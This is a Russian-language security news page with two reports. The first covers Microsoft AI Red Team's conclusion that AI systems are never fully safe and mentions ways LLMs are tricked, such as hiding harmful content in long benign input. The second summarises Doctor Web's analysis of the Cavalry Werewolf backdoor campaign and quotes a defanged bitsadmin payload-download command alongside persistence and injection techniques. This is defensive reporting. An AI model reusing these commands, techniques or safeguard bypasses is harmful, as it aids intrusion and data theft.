Microsoft: системы на базе ИИ никогда не станут абсолютно безопасными

Microsoft: системы на базе ИИ никогда не станут абсолютно безопасными

Microsoft: системы на базе ИИ никогда не станут абсолютно безопасными

Команда Microsoft AI Red Team (AIRT) подытожила свой опыт тестирования 100 продуктов, созданных в компании на основе генеративного ИИ, и пришла к выводу, что обеспечение безопасности таких систем — нескончаемый процесс.

Из-за фундаментальных ограничений ИИ-моделей угрозы вроде инъекции стимула и джейлбрейка в этой сфере неистребимы.

Однако такие атаки можно сделать более затратными — как и в случае с другими ИТ-рисками, которые удается снизить, применяя, к примеру, тактику эшелонированной защиты (defense-in-depth) или следуя принципам конструктивной безопасности (security-by-design).

Делясь опытом, в Red Team также отметили (PDF), что для выстраивания защиты ИИ-системы важно понимать ее возможности и учитывать сферу применения. Так, большие языковые модели (БЯМ, LLM) склонны слепо следовать инструкциям пользователя, и их легко обмануть, спрятав вредоносный контент в большом объеме безобидного текста при вводе.

Также атака на ИИ-помощника по литературному творчеству вряд ли приведет к серьезным последствиям, а в случае с LLM, предназначенной для анализа историй болезни, может нанести вред здоровью пациентов и поставить крест на репутации медучреждения.

Чтобы заставить LLM выдать вредный совет, необязательно проводить градиентные состязательные атаки. Тот же эффект можно получить более дешевым способом, манипулируя интерфейсом либо введя в заблуждение модель языка и технического зрения.

 

Еще одно важное наблюдение, которым поделились специалисты: использование ИИ увеличивает существующие риски и создает новые.

Напомним, вопросы использования ИИ недавно обсуждались в ходе Открытой конференции Института системного программирования РАН им. В. П. Иванникова. Участники пленарной дискуссии сошлись во мнении, что внедрение ИИ-технологий тормозят проблемы доверия и безопасности таких сервисов.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru